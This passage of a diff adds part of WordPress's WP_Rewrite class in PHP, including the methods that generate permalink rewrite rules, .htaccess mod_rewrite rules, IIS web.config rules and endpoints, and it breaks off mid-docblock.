+	 * @since 1.5.0
+	 *
+	 * @param string $permalink_structure The permalink structure.
+	 * @param int    $ep_mask             Optional. Endpoint mask defining what endpoints are added to the structure.
+	 *                                    Accepts `EP_NONE`, `EP_PERMALINK`, `EP_ATTACHMENT`, `EP_DATE`, `EP_YEAR`,
+	 *                                    `EP_MONTH`, `EP_DAY`, `EP_ROOT`, `EP_COMMENTS`, `EP_SEARCH`, `EP_CATEGORIES`,
+	 *                                    `EP_TAGS`, `EP_AUTHORS`, `EP_PAGES`, `EP_ALL_ARCHIVES`, and `EP_ALL`.
+	 *                                    Default `EP_NONE`.
+	 * @param bool   $paged               Optional. Whether archive pagination rules should be added for the structure.
+	 *                                    Default true.
+	 * @param bool   $feed                Optional Whether feed rewrite rules should be added for the structure.
+	 *                                    Default true.
+	 * @param bool   $forcomments         Optional. Whether the feed rules should be a query for a comments feed.
+	 *                                    Default false.
+	 * @param bool   $walk_dirs           Optional. Whether the 'directories' making up the structure should be walked
+	 *                                    over and rewrite rules built for each in-turn. Default true.
+	 * @param bool   $endpoints           Optional. Whether endpoints should be applied to the generated rewrite rules.
+	 *                                    Default true.
+	 * @return array Rewrite rule list.
+	 */
+	public function generate_rewrite_rules($permalink_structure, $ep_mask = EP_NONE, $paged = true, $feed = true, $forcomments = false, $walk_dirs = true, $endpoints = true) {
+		// Build a regex to match the feed section of URLs, something like (feed|atom|rss|rss2)/?
+		$feedregex2 = '';
+		foreach ( (array) $this->feeds as $feed_name)
+			$feedregex2 .= $feed_name . '|';
+		$feedregex2 = '(' . trim($feedregex2, '|') . ')/?$';
+
+		/*
+		 * $feedregex is identical but with /feed/ added on as well, so URLs like <permalink>/feed/atom
+		 * and <permalink>/atom are both possible
+		 */
+		$feedregex = $this->feed_base . '/' . $feedregex2;
+
+		// Build a regex to match the trackback and page/xx parts of URLs.
+		$trackbackregex = 'trackback/?$';
+		$pageregex = $this->pagination_base . '/?([0-9]{1,})/?$';
+		$commentregex = $this->comments_pagination_base . '-([0-9]{1,})/?$';
+		$embedregex = 'embed/?$';
+
+		// Build up an array of endpoint regexes to append => queries to append.
+		if ( $endpoints ) {
+			$ep_query_append = array ();
+			foreach ( (array) $this->endpoints as $endpoint) {
+				// Match everything after the endpoint name, but allow for nothing to appear there.
+				$epmatch = $endpoint[1] . '(/(.*))?/?$';
+
+				// This will be appended on to the rest of the query for each dir.
+				$epquery = '&' . $endpoint[2] . '=';
+				$ep_query_append[$epmatch] = array ( $endpoint[0], $epquery );
+			}
+		}
+
+		// Get everything up to the first rewrite tag.
+		$front = substr($permalink_structure, 0, strpos($permalink_structure, '%'));
+
+		// Build an array of the tags (note that said array ends up being in $tokens[0]).
+		preg_match_all('/%.+?%/', $permalink_structure, $tokens);
+
+		$num_tokens = count($tokens[0]);
+
+		$index = $this->index; //probably 'index.php'
+		$feedindex = $index;
+		$trackbackindex = $index;
+		$embedindex = $index;
+
+		/*
+		 * Build a list from the rewritecode and queryreplace arrays, that will look something
+		 * like tagname=$matches[i] where i is the current $i.
+		 */
+		$queries = array();
+		for ( $i = 0; $i < $num_tokens; ++$i ) {
+			if ( 0 < $i )
+				$queries[$i] = $queries[$i - 1] . '&';
+			else
+				$queries[$i] = '';
+
+			$query_token = str_replace($this->rewritecode, $this->queryreplace, $tokens[0][$i]) . $this->preg_index($i+1);
+			$queries[$i] .= $query_token;
+		}
+
+		// Get the structure, minus any cruft (stuff that isn't tags) at the front.
+		$structure = $permalink_structure;
+		if ( $front != '/' )
+			$structure = str_replace($front, '', $structure);
+
+		/*
+		 * Create a list of dirs to walk over, making rewrite rules for each level
+		 * so for example, a $structure of /%year%/%monthnum%/%postname% would create
+		 * rewrite rules for /%year%/, /%year%/%monthnum%/ and /%year%/%monthnum%/%postname%
+		 */
+		$structure = trim($structure, '/');
+		$dirs = $walk_dirs ? explode('/', $structure) : array( $structure );
+		$num_dirs = count($dirs);
+
+		// Strip slashes from the front of $front.
+		$front = preg_replace('|^/+|', '', $front);
+
+		// The main workhorse loop.
+		$post_rewrite = array();
+		$struct = $front;
+		for ( $j = 0; $j < $num_dirs; ++$j ) {
+			// Get the struct for this dir, and trim slashes off the front.
+			$struct .= $dirs[$j] . '/'; // Accumulate. see comment near explode('/', $structure) above.
+			$struct = ltrim($struct, '/');
+
+			// Replace tags with regexes.
+			$match = str_replace($this->rewritecode, $this->rewritereplace, $struct);
+
+			// Make a list of tags, and store how many there are in $num_toks.
+			$num_toks = preg_match_all('/%.+?%/', $struct, $toks);
+
+			// Get the 'tagname=$matches[i]'.
+			$query = ( ! empty( $num_toks ) && isset( $queries[$num_toks - 1] ) ) ? $queries[$num_toks - 1] : '';
+
+			// Set up $ep_mask_specific which is used to match more specific URL types.
+			switch ( $dirs[$j] ) {
+				case '%year%':
+					$ep_mask_specific = EP_YEAR;
+					break;
+				case '%monthnum%':
+					$ep_mask_specific = EP_MONTH;
+					break;
+				case '%day%':
+					$ep_mask_specific = EP_DAY;
+					break;
+				default:
+					$ep_mask_specific = EP_NONE;
+			}
+
+			// Create query for /page/xx.
+			$pagematch = $match . $pageregex;
+			$pagequery = $index . '?' . $query . '&paged=' . $this->preg_index($num_toks + 1);
+
+			// Create query for /comment-page-xx.
+			$commentmatch = $match . $commentregex;
+			$commentquery = $index . '?' . $query . '&cpage=' . $this->preg_index($num_toks + 1);
+
+			if ( get_option('page_on_front') ) {
+				// Create query for Root /comment-page-xx.
+				$rootcommentmatch = $match . $commentregex;
+				$rootcommentquery = $index . '?' . $query . '&page_id=' . get_option('page_on_front') . '&cpage=' . $this->preg_index($num_toks + 1);
+			}
+
+			// Create query for /feed/(feed|atom|rss|rss2|rdf).
+			$feedmatch = $match . $feedregex;
+			$feedquery = $feedindex . '?' . $query . '&feed=' . $this->preg_index($num_toks + 1);
+
+			// Create query for /(feed|atom|rss|rss2|rdf) (see comment near creation of $feedregex).
+			$feedmatch2 = $match . $feedregex2;
+			$feedquery2 = $feedindex . '?' . $query . '&feed=' . $this->preg_index($num_toks + 1);
+
+			// Create query and regex for embeds.
+			$embedmatch = $match . $embedregex;
+			$embedquery = $embedindex . '?' . $query . '&embed=true';
+
+			// If asked to, turn the feed queries into comment feed ones.
+			if ( $forcomments ) {
+				$feedquery .= '&withcomments=1';
+				$feedquery2 .= '&withcomments=1';
+			}
+
+			// Start creating the array of rewrites for this dir.
+			$rewrite = array();
+
+			// ...adding on /feed/ regexes => queries
+			if ( $feed ) {
+				$rewrite = array( $feedmatch => $feedquery, $feedmatch2 => $feedquery2, $embedmatch => $embedquery );
+			}
+
+			//...and /page/xx ones
+			if ( $paged ) {
+				$rewrite = array_merge( $rewrite, array( $pagematch => $pagequery ) );
+			}
+
+			// Only on pages with comments add ../comment-page-xx/.
+			if ( EP_PAGES & $ep_mask || EP_PERMALINK & $ep_mask ) {
+				$rewrite = array_merge($rewrite, array($commentmatch => $commentquery));
+			} elseif ( EP_ROOT & $ep_mask && get_option('page_on_front') ) {
+				$rewrite = array_merge($rewrite, array($rootcommentmatch => $rootcommentquery));
+			}
+
+			// Do endpoints.
+			if ( $endpoints ) {
+				foreach ( (array) $ep_query_append as $regex => $ep) {
+					// Add the endpoints on if the mask fits.
+					if ( $ep[0] & $ep_mask || $ep[0] & $ep_mask_specific )
+						$rewrite[$match . $regex] = $index . '?' . $query . $ep[1] . $this->preg_index($num_toks + 2);
+				}
+			}
+
+			// If we've got some tags in this dir.
+			if ( $num_toks ) {
+				$post = false;
+				$page = false;
+
+				/*
+				 * Check to see if this dir is permalink-level: i.e. the structure specifies an
+				 * individual post. Do this by checking it contains at least one of 1) post name,
+				 * 2) post ID, 3) page name, 4) timestamp (year, month, day, hour, second and
+				 * minute all present). Set these flags now as we need them for the endpoints.
+				 */
+				if ( strpos($struct, '%postname%') !== false
+						|| strpos($struct, '%post_id%') !== false
+						|| strpos($struct, '%pagename%') !== false
+						|| (strpos($struct, '%year%') !== false && strpos($struct, '%monthnum%') !== false && strpos($struct, '%day%') !== false && strpos($struct, '%hour%') !== false && strpos($struct, '%minute%') !== false && strpos($struct, '%second%') !== false)
+						) {
+					$post = true;
+					if ( strpos($struct, '%pagename%') !== false )
+						$page = true;
+				}
+
+				if ( ! $post ) {
+					// For custom post types, we need to add on endpoints as well.
+					foreach ( get_post_types( array('_builtin' => false ) ) as $ptype ) {
+						if ( strpos($struct, "%$ptype%") !== false ) {
+							$post = true;
+
+							// This is for page style attachment URLs.
+							$page = is_post_type_hierarchical( $ptype );
+							break;
+						}
+					}
+				}
+
+				// If creating rules for a permalink, do all the endpoints like attachments etc.
+				if ( $post ) {
+					// Create query and regex for trackback.
+					$trackbackmatch = $match . $trackbackregex;
+					$trackbackquery = $trackbackindex . '?' . $query . '&tb=1';
+
+					// Create query and regex for embeds.
+					$embedmatch = $match . $embedregex;
+					$embedquery = $embedindex . '?' . $query . '&embed=true';
+
+					// Trim slashes from the end of the regex for this dir.
+					$match = rtrim($match, '/');
+
+					// Get rid of brackets.
+					$submatchbase = str_replace( array('(', ')'), '', $match);
+
+					// Add a rule for at attachments, which take the form of <permalink>/some-text.
+					$sub1 = $submatchbase . '/([^/]+)/';
+
+					// Add trackback regex <permalink>/trackback/...
+					$sub1tb = $sub1 . $trackbackregex;
+
+					// And <permalink>/feed/(atom|...)
+					$sub1feed = $sub1 . $feedregex;
+
+					// And <permalink>/(feed|atom...)
+					$sub1feed2 = $sub1 . $feedregex2;
+
+					// And <permalink>/comment-page-xx
+					$sub1comment = $sub1 . $commentregex;
+
+					// And <permalink>/embed/...
+					$sub1embed = $sub1 . $embedregex;
+
+					/*
+					 * Add another rule to match attachments in the explicit form:
+					 * <permalink>/attachment/some-text
+					 */
+					$sub2 = $submatchbase . '/attachment/([^/]+)/';
+
+					// And add trackbacks <permalink>/attachment/trackback.
+					$sub2tb = $sub2 . $trackbackregex;
+
+					// Feeds, <permalink>/attachment/feed/(atom|...)
+					$sub2feed = $sub2 . $feedregex;
+
+					// And feeds again on to this <permalink>/attachment/(feed|atom...)
+					$sub2feed2 = $sub2 . $feedregex2;
+
+					// And <permalink>/comment-page-xx
+					$sub2comment = $sub2 . $commentregex;
+
+					// And <permalink>/embed/...
+					$sub2embed = $sub2 . $embedregex;
+
+					// Create queries for these extra tag-ons we've just dealt with.
+					$subquery = $index . '?attachment=' . $this->preg_index(1);
+					$subtbquery = $subquery . '&tb=1';
+					$subfeedquery = $subquery . '&feed=' . $this->preg_index(2);
+					$subcommentquery = $subquery . '&cpage=' . $this->preg_index(2);
+					$subembedquery = $subquery . '&embed=true';
+
+					// Do endpoints for attachments.
+					if ( !empty($endpoints) ) {
+						foreach ( (array) $ep_query_append as $regex => $ep ) {
+							if ( $ep[0] & EP_ATTACHMENT ) {
+								$rewrite[$sub1 . $regex] = $subquery . $ep[1] . $this->preg_index(3);
+								$rewrite[$sub2 . $regex] = $subquery . $ep[1] . $this->preg_index(3);
+							}
+						}
+					}
+
+					/*
+					 * Now we've finished with endpoints, finish off the $sub1 and $sub2 matches
+					 * add a ? as we don't have to match that last slash, and finally a $ so we
+					 * match to the end of the URL
+					 */
+					$sub1 .= '?$';
+					$sub2 .= '?$';
+
+					/*
+					 * Post pagination, e.g. <permalink>/2/
+					 * Previously: '(/[0-9]+)?/?$', which produced '/2' for page.
+					 * When cast to int, returned 0.
+					 */
+					$match = $match . '(?:/([0-9]+))?/?$';
+					$query = $index . '?' . $query . '&page=' . $this->preg_index($num_toks + 1);
+
+				// Not matching a permalink so this is a lot simpler.
+				} else {
+					// Close the match and finalise the query.
+					$match .= '?$';
+					$query = $index . '?' . $query;
+				}
+
+				/*
+				 * Create the final array for this dir by joining the $rewrite array (which currently
+				 * only contains rules/queries for trackback, pages etc) to the main regex/query for
+				 * this dir
+				 */
+				$rewrite = array_merge($rewrite, array($match => $query));
+
+				// If we're matching a permalink, add those extras (attachments etc) on.
+				if ( $post ) {
+					// Add trackback.
+					$rewrite = array_merge(array($trackbackmatch => $trackbackquery), $rewrite);
+
+					// Add embed.
+					$rewrite = array_merge( array( $embedmatch => $embedquery ), $rewrite );
+
+					// Add regexes/queries for attachments, attachment trackbacks and so on.
+					if ( ! $page ) {
+						// Require <permalink>/attachment/stuff form for pages because of confusion with subpages.
+						$rewrite = array_merge( $rewrite, array(
+							$sub1        => $subquery,
+							$sub1tb      => $subtbquery,
+							$sub1feed    => $subfeedquery,
+							$sub1feed2   => $subfeedquery,
+							$sub1comment => $subcommentquery,
+							$sub1embed   => $subembedquery
+						) );
+					}
+
+					$rewrite = array_merge( array( $sub2 => $subquery, $sub2tb => $subtbquery, $sub2feed => $subfeedquery, $sub2feed2 => $subfeedquery, $sub2comment => $subcommentquery, $sub2embed => $subembedquery ), $rewrite );
+				}
+			}
+			// Add the rules for this dir to the accumulating $post_rewrite.
+			$post_rewrite = array_merge($rewrite, $post_rewrite);
+		}
+
+		// The finished rules. phew!
+		return $post_rewrite;
+	}
+
+	/**
+	 * Generates rewrite rules with permalink structure and walking directory only.
+	 *
+	 * Shorten version of WP_Rewrite::generate_rewrite_rules() that allows for shorter
+	 * list of parameters. See the method for longer description of what generating
+	 * rewrite rules does.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @see WP_Rewrite::generate_rewrite_rules() See for long description and rest of parameters.
+	 *
+	 * @param string $permalink_structure The permalink structure to generate rules.
+	 * @param bool   $walk_dirs           Optional, default is false. Whether to create list of directories to walk over.
+	 * @return array
+	 */
+	public function generate_rewrite_rule($permalink_structure, $walk_dirs = false) {
+		return $this->generate_rewrite_rules($permalink_structure, EP_NONE, false, false, false, $walk_dirs);
+	}
+
+	/**
+	 * Constructs rewrite matches and queries from permalink structure.
+	 *
+	 * Runs the action {@see 'generate_rewrite_rules'} with the parameter that is an
+	 * reference to the current WP_Rewrite instance to further manipulate the
+	 * permalink structures and rewrite rules. Runs the {@see 'rewrite_rules_array'}
+	 * filter on the full rewrite rule array.
+	 *
+	 * There are two ways to manipulate the rewrite rules, one by hooking into
+	 * the {@see 'generate_rewrite_rules'} action and gaining full control of the
+	 * object or just manipulating the rewrite rule array before it is passed
+	 * from the function.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return array An associate array of matches and queries.
+	 */
+	public function rewrite_rules() {
+		$rewrite = array();
+
+		if ( empty($this->permalink_structure) )
+			return $rewrite;
+
+		// robots.txt -only if installed at the root
+		$home_path = parse_url( home_url() );
+		$robots_rewrite = ( empty( $home_path['path'] ) || '/' == $home_path['path'] ) ? array( 'robots\.txt$' => $this->index . '?robots=1' ) : array();
+
+		// Old feed and service files.
+		$deprecated_files = array(
+			'.*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\.php$' => $this->index . '?feed=old',
+			'.*wp-app\.php(/.*)?$' => $this->index . '?error=403',
+		);
+
+		// Registration rules.
+		$registration_pages = array();
+		if ( is_multisite() && is_main_site() ) {
+			$registration_pages['.*wp-signup.php$'] = $this->index . '?signup=true';
+			$registration_pages['.*wp-activate.php$'] = $this->index . '?activate=true';
+		}
+
+		// Deprecated.
+		$registration_pages['.*wp-register.php$'] = $this->index . '?register=true';
+
+		// Post rewrite rules.
+		$post_rewrite = $this->generate_rewrite_rules( $this->permalink_structure, EP_PERMALINK );
+
+		/**
+		 * Filters rewrite rules used for "post" archives.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $post_rewrite The rewrite rules for posts.
+		 */
+		$post_rewrite = apply_filters( 'post_rewrite_rules', $post_rewrite );
+
+		// Date rewrite rules.
+		$date_rewrite = $this->generate_rewrite_rules($this->get_date_permastruct(), EP_DATE);
+
+		/**
+		 * Filters rewrite rules used for date archives.
+		 *
+		 * Likely date archives would include /yyyy/, /yyyy/mm/, and /yyyy/mm/dd/.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $date_rewrite The rewrite rules for date archives.
+		 */
+		$date_rewrite = apply_filters( 'date_rewrite_rules', $date_rewrite );
+
+		// Root-level rewrite rules.
+		$root_rewrite = $this->generate_rewrite_rules($this->root . '/', EP_ROOT);
+
+		/**
+		 * Filters rewrite rules used for root-level archives.
+		 *
+		 * Likely root-level archives would include pagination rules for the homepage
+		 * as well as site-wide post feeds (e.g. /feed/, and /feed/atom/).
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $root_rewrite The root-level rewrite rules.
+		 */
+		$root_rewrite = apply_filters( 'root_rewrite_rules', $root_rewrite );
+
+		// Comments rewrite rules.
+		$comments_rewrite = $this->generate_rewrite_rules($this->root . $this->comments_base, EP_COMMENTS, false, true, true, false);
+
+		/**
+		 * Filters rewrite rules used for comment feed archives.
+		 *
+		 * Likely comments feed archives include /comments/feed/, and /comments/feed/atom/.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $comments_rewrite The rewrite rules for the site-wide comments feeds.
+		 */
+		$comments_rewrite = apply_filters( 'comments_rewrite_rules', $comments_rewrite );
+
+		// Search rewrite rules.
+		$search_structure = $this->get_search_permastruct();
+		$search_rewrite = $this->generate_rewrite_rules($search_structure, EP_SEARCH);
+
+		/**
+		 * Filters rewrite rules used for search archives.
+		 *
+		 * Likely search-related archives include /search/search+query/ as well as
+		 * pagination and feed paths for a search.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $search_rewrite The rewrite rules for search queries.
+		 */
+		$search_rewrite = apply_filters( 'search_rewrite_rules', $search_rewrite );
+
+		// Author rewrite rules.
+		$author_rewrite = $this->generate_rewrite_rules($this->get_author_permastruct(), EP_AUTHORS);
+
+		/**
+		 * Filters rewrite rules used for author archives.
+		 *
+		 * Likely author archives would include /author/author-name/, as well as
+		 * pagination and feed paths for author archives.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $author_rewrite The rewrite rules for author archives.
+		 */
+		$author_rewrite = apply_filters( 'author_rewrite_rules', $author_rewrite );
+
+		// Pages rewrite rules.
+		$page_rewrite = $this->page_rewrite_rules();
+
+		/**
+		 * Filters rewrite rules used for "page" post type archives.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $page_rewrite The rewrite rules for the "page" post type.
+		 */
+		$page_rewrite = apply_filters( 'page_rewrite_rules', $page_rewrite );
+
+		// Extra permastructs.
+		foreach ( $this->extra_permastructs as $permastructname => $struct ) {
+			if ( is_array( $struct ) ) {
+				if ( count( $struct ) == 2 )
+					$rules = $this->generate_rewrite_rules( $struct[0], $struct[1] );
+				else
+					$rules = $this->generate_rewrite_rules( $struct['struct'], $struct['ep_mask'], $struct['paged'], $struct['feed'], $struct['forcomments'], $struct['walk_dirs'], $struct['endpoints'] );
+			} else {
+				$rules = $this->generate_rewrite_rules( $struct );
+			}
+
+			/**
+			 * Filters rewrite rules used for individual permastructs.
+			 *
+			 * The dynamic portion of the hook name, `$permastructname`, refers
+			 * to the name of the registered permastruct, e.g. 'post_tag' (tags),
+			 * 'category' (categories), etc.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array $rules The rewrite rules generated for the current permastruct.
+			 */
+			$rules = apply_filters( "{$permastructname}_rewrite_rules", $rules );
+			if ( 'post_tag' == $permastructname ) {
+
+				/**
+				 * Filters rewrite rules used specifically for Tags.
+				 *
+				 * @since 2.3.0
+				 * @deprecated 3.1.0 Use 'post_tag_rewrite_rules' instead
+				 *
+				 * @param array $rules The rewrite rules generated for tags.
+				 */
+				$rules = apply_filters( 'tag_rewrite_rules', $rules );
+			}
+
+			$this->extra_rules_top = array_merge($this->extra_rules_top, $rules);
+		}
+
+		// Put them together.
+		if ( $this->use_verbose_page_rules )
+			$this->rules = array_merge($this->extra_rules_top, $robots_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite,  $author_rewrite, $date_rewrite, $page_rewrite, $post_rewrite, $this->extra_rules);
+		else
+			$this->rules = array_merge($this->extra_rules_top, $robots_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite,  $author_rewrite, $date_rewrite, $post_rewrite, $page_rewrite, $this->extra_rules);
+
+		/**
+		 * Fires after the rewrite rules are generated.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param WP_Rewrite $this Current WP_Rewrite instance (passed by reference).
+		 */
+		do_action_ref_array( 'generate_rewrite_rules', array( &$this ) );
+
+		/**
+		 * Filters the full set of generated rewrite rules.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $this->rules The compiled array of rewrite rules.
+		 */
+		$this->rules = apply_filters( 'rewrite_rules_array', $this->rules );
+
+		return $this->rules;
+	}
+
+	/**
+	 * Retrieves the rewrite rules.
+	 *
+	 * The difference between this method and WP_Rewrite::rewrite_rules() is that
+	 * this method stores the rewrite rules in the 'rewrite_rules' option and retrieves
+	 * it. This prevents having to process all of the permalinks to get the rewrite rules
+	 * in the form of caching.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return array Rewrite rules.
+	 */
+	public function wp_rewrite_rules() {
+		$this->rules = get_option('rewrite_rules');
+		if ( empty($this->rules) ) {
+			$this->matches = 'matches';
+			$this->rewrite_rules();
+			if ( ! did_action( 'wp_loaded' ) ) {
+				add_action( 'wp_loaded', array( $this, 'flush_rules' ) );
+				return $this->rules;
+			}
+			update_option('rewrite_rules', $this->rules);
+		}
+
+		return $this->rules;
+	}
+
+	/**
+	 * Retrieves mod_rewrite-formatted rewrite rules to write to .htaccess.
+	 *
+	 * Does not actually write to the .htaccess file, but creates the rules for
+	 * the process that will.
+	 *
+	 * Will add the non_wp_rules property rules to the .htaccess file before
+	 * the WordPress rewrite rules one.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string
+	 */
+	public function mod_rewrite_rules() {
+		if ( ! $this->using_permalinks() )
+			return '';
+
+		$site_root = parse_url( site_url() );
+		if ( isset( $site_root['path'] ) )
+			$site_root = trailingslashit($site_root['path']);
+
+		$home_root = parse_url(home_url());
+		if ( isset( $home_root['path'] ) )
+			$home_root = trailingslashit($home_root['path']);
+		else
+			$home_root = '/';
+
+		$rules = "<IfModule mod_rewrite.c>\n";
+		$rules .= "RewriteEngine On\n";
+		$rules .= "RewriteBase $home_root\n";
+
+		// Prevent -f checks on index.php.
+		$rules .= "RewriteRule ^index\.php$ - [L]\n";
+
+		// Add in the rules that don't redirect to WP's index.php (and thus shouldn't be handled by WP at all).
+		foreach ( (array) $this->non_wp_rules as $match => $query) {
+			// Apache 1.3 does not support the reluctant (non-greedy) modifier.
+			$match = str_replace('.+?', '.+', $match);
+
+			$rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n";
+		}
+
+		if ( $this->use_verbose_rules ) {
+			$this->matches = '';
+			$rewrite = $this->rewrite_rules();
+			$num_rules = count($rewrite);
+			$rules .= "RewriteCond %{REQUEST_FILENAME} -f [OR]\n" .
+				"RewriteCond %{REQUEST_FILENAME} -d\n" .
+				"RewriteRule ^.*$ - [S=$num_rules]\n";
+
+			foreach ( (array) $rewrite as $match => $query) {
+				// Apache 1.3 does not support the reluctant (non-greedy) modifier.
+				$match = str_replace('.+?', '.+', $match);
+
+				if ( strpos($query, $this->index) !== false )
+					$rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n";
+				else
+					$rules .= 'RewriteRule ^' . $match . ' ' . $site_root . $query . " [QSA,L]\n";
+			}
+		} else {
+			$rules .= "RewriteCond %{REQUEST_FILENAME} !-f\n" .
+				"RewriteCond %{REQUEST_FILENAME} !-d\n" .
+				"RewriteRule . {$home_root}{$this->index} [L]\n";
+		}
+
+		$rules .= "</IfModule>\n";
+
+		/**
+		 * Filters the list of rewrite rules formatted for output to an .htaccess file.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $rules mod_rewrite Rewrite rules formatted for .htaccess.
+		 */
+		$rules = apply_filters( 'mod_rewrite_rules', $rules );
+
+		/**
+		 * Filters the list of rewrite rules formatted for output to an .htaccess file.
+		 *
+		 * @since 1.5.0
+		 * @deprecated 1.5.0 Use the mod_rewrite_rules filter instead.
+		 *
+		 * @param string $rules mod_rewrite Rewrite rules formatted for .htaccess.
+		 */
+		return apply_filters( 'rewrite_rules', $rules );
+	}
+
+	/**
+	 * Retrieves IIS7 URL Rewrite formatted rewrite rules to write to web.config file.
+	 *
+	 * Does not actually write to the web.config file, but creates the rules for
+	 * the process that will.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $add_parent_tags Optional. Whether to add parent tags to the rewrite rule sets.
+	 *                              Default false.
+	 * @return string IIS7 URL rewrite rule sets.
+	 */
+	public function iis7_url_rewrite_rules( $add_parent_tags = false ) {
+		if ( ! $this->using_permalinks() )
+			return '';
+		$rules = '';
+		if ( $add_parent_tags ) {
+			$rules .= '<configuration>
+	<system.webServer>
+		<rewrite>
+			<rules>';
+		}
+
+		$rules .= '
+			<rule name="WordPress: ' . esc_attr( home_url() ) . '" patternSyntax="Wildcard">
+				<match url="*" />
+					<conditions>
+						<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
+						<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
+					</conditions>
+				<action type="Rewrite" url="index.php" />
+			</rule>';
+
+		if ( $add_parent_tags ) {
+			$rules .= '
+			</rules>
+		</rewrite>
+	</system.webServer>
+</configuration>';
+		}
+
+		/**
+		 * Filters the list of rewrite rules formatted for output to a web.config.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $rules Rewrite rules formatted for IIS web.config.
+		 */
+		return apply_filters( 'iis7_url_rewrite_rules', $rules );
+	}
+
+	/**
+	 * Adds a rewrite rule that transforms a URL structure to a set of query vars.
+	 *
+	 * Any value in the $after parameter that isn't 'bottom' will result in the rule
+	 * being placed at the top of the rewrite rules.
+	 *
+	 * @since 2.1.0
+	 * @since 4.4.0 Array support was added to the `$query` parameter.
+	 *
+	 * @param string       $regex Regular expression to match request against.
+	 * @param string|array $query The corresponding query vars for this rewrite rule.
+	 * @param string       $after Optional. Priority of the new rule. Accepts 'top'
+	 *                            or 'bottom'. Default 'bottom'.
+	 */
+	public function add_rule( $regex, $query, $after = 'bottom' ) {
+		if ( is_array( $query ) ) {
+			$external = false;
+			$query = add_query_arg( $query, 'index.php' );
+		} else {
+			$index = false === strpos( $query, '?' ) ? strlen( $query ) : strpos( $query, '?' );
+			$front = substr( $query, 0, $index );
+
+			$external = $front != $this->index;
+		}
+
+		// "external" = it doesn't correspond to index.php.
+		if ( $external ) {
+			$this->add_external_rule( $regex, $query );
+		} else {
+			if ( 'bottom' == $after ) {
+				$this->extra_rules = array_merge( $this->extra_rules, array( $regex => $query ) );
+			} else {
+				$this->extra_rules_top = array_merge( $this->extra_rules_top, array( $regex => $query ) );
+			}
+		}
+	}
+
+	/**
+	 * Adds a rewrite rule that doesn't correspond to index.php.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $regex Regular expression to match request against.
+	 * @param string $query The corresponding query vars for this rewrite rule.
+	 */
+	public function add_external_rule( $regex, $query ) {
+		$this->non_wp_rules[ $regex ] = $query;
+	}
+
+	/**
+	 * Adds an endpoint, like /trackback/.
+	 *
+	 * @since 2.1.0
+	 * @since 3.9.0 $query_var parameter added.
+	 * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`.
+	 *
+	 * @see add_rewrite_endpoint() for full documentation.
+	 * @global WP $wp
+	 *
+	 * @param string      $name      Name of the endpoint.
+	 * @param int         $places    Endpoint mask describing the places the endpoint should be added.
+	 * @param string|bool $query_var Optional. Name of the corresponding query variable. Pass `false` to
+	 *                               skip registering a query_var for this endpoint. Defaults to the
+	 *                               value of `$name`.
+	 */
+	public function add_endpoint( $name, $places, $query_var = true ) {
+		global $wp;
+
+		// For backward compatibility, if null has explicitly been passed as `$query_var`, assume `true`.
+		if ( true === $query_var || null === func_get_arg( 2 ) ) {
+			$query_var = $name;
+		}
+		$this->endpoints[] = array( $places, $name, $query_var );
+
+		if ( $query_var ) {
+			$wp->add_query_var( $query_var );
+		}
+	}
+
+	/**
+	 * Adds a new permalink structure.
+	 *
+	 * A permalink structure (permastruct) is an abstract definition of a set of rewrite rules;
+	 * it is an easy way of expressing a set of regular expressions that rewrite to a set of
+	 * query strings. The new permastruct is added to the WP_Rewrite::$extra_permastructs array.
+	 *
+	 * When the rewrite rules are built by WP_Rewrite::rewrite_rules(), all of these extra
+	 * permastructs are passed to WP_Rewrite::generate_rewrite_rules() which transforms them
+	 * into the regular expressions that many love to hate.
+	 *
+	 * The `$args` parameter gives you control over how WP_Rewrite::generate_rewrite_rules()
+	 * works on the new permastruct.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $name   Name for permalink structure.
+	 * @param string $struct Permalink structure (e.g. category/%category%)
+	 * @param array  $args   {
+	 *     Optional. Arguments for building rewrite rules based on the permalink structure.
+	 *     Default empty array.
+	 *
+	 *     @type bool $with_front  Whether the structure should be prepended with `WP_Rewrite::$front`.
+	 *                             Default true.
+	 *     @type int  $ep_mask     The endpoint mask defining which endpoints are added to the structure.
+	 *                             Accepts `EP_NONE`, `EP_PERMALINK`, `EP_ATTACHMENT`, `EP_DATE`, `EP_YEAR`,
+	 *                             `EP_MONTH`, `EP_DAY`, `EP_ROOT`, `EP_COMMENTS`, `EP_SEARCH`, `EP_CATEGORIES`,
+	 *                             `EP_TAGS`, `EP_AUTHORS`, `EP_PAGES`, `EP_ALL_ARCHIVES`, and `EP_ALL`.
+	 *                             Default `EP_NONE`.
+	 *     @type bool $paged       Whether archive pagination rules should be added for the structure.
+	 *                             Default true.
+	 *     @type bool $feed        Whether feed rewrite rules should be added for the structure. Default true.
+	 *     @type bool $forcomments Whether the feed rules should be a query for a comments feed. Default false.
+	 *     @type bool $walk_dirs   Whether the 'directories' making up the structure should be walked over
+	 *                             and rewrite rules built for each in-turn. Default true.
